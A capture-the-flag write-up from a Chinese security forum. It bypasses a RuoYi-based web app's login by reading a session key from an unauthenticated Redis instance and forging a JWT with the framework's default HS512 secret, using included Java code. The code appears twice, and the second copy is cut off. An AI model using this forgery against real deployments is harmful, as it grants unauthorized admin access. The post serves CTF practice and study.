-
-
[原创]第三题
-
发表于: 2021-5-13 11:49 5159
-
题目本身还行,就是体验太差了,以后WEB题做不到一人一环境就不要搞了。
首先看到若依,然后一番搜索,看见一些权限Issue提到了swagger-ui,从里面拿到版本号
然后下源码,分析鉴权
定位TokenService,发现会把登录缓存到Redis里
看到Redis的默认配置
没有密码,尝试连接,拿到login_token,此时数据库反正已经被其他选手污染了,但还能用
然后伪造Bearer,他这个算法和jwt.io的不一样,因此自己找0.9.2的Jwt实现了一个
最后用Chrome插件设置token,登录后台,拿到flag
import
io.jsonwebtoken.Claims;
import
io.jsonwebtoken.Jwts;
import
io.jsonwebtoken.SignatureAlgorithm;
import
java.util.HashMap;
import
java.util.
Map
;
public
class
Main {
private static final String secret
=
"abcdefghijklmnopqrstuvwxyz"
;
public static void main(String[] args) {
Map
<String,
Object
> claims
=
new HashMap<>();
claims.put(
"login_user_key"
,
"fa9c2eed-3d64-46df-8896-1852f0e52b1f"
);
String token
=
createToken(claims);
Claims c
=
parseToken(token);
String key
=
(String) c.get(
"login_user_key"
);
System.out.println(token);
}
private static String createToken(
Map
<String,
Object
> claims)
{
String token
=
Jwts.builder()
.setClaims(claims)
.signWith(SignatureAlgorithm.HS512, secret)
.compact();
return
token;
}
private static Claims parseToken(String token)
{
return
Jwts.parser()
.setSigningKey(secret)
.parseClaimsJws(token)
.getBody();
}
}
import
io.jsonwebtoken.Claims;
import
io.jsonwebtoken.Jwts;
import
io.jsonwebtoken.SignatureAlgorithm;
import
java.util.HashMap;
import
java.util.
Map
;
public
class
Main {
private static final String secret
=
"abcdefghijklmnopqrstuvwxyz"
;
public static void main(String[] args) {
Map
<String,
Object
> claims
=
new HashMap<>();
claims.put(
"login_user_key"
,
"fa9c2eed-3d64-46df-8896-1852f0e52b1f"
);
String token
=
createToken(claims);
Claims c
=
parseToken(token);
String key
=
(String) c.get(
"login_user_key"
);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
看原图
赞赏
雪币:
留言: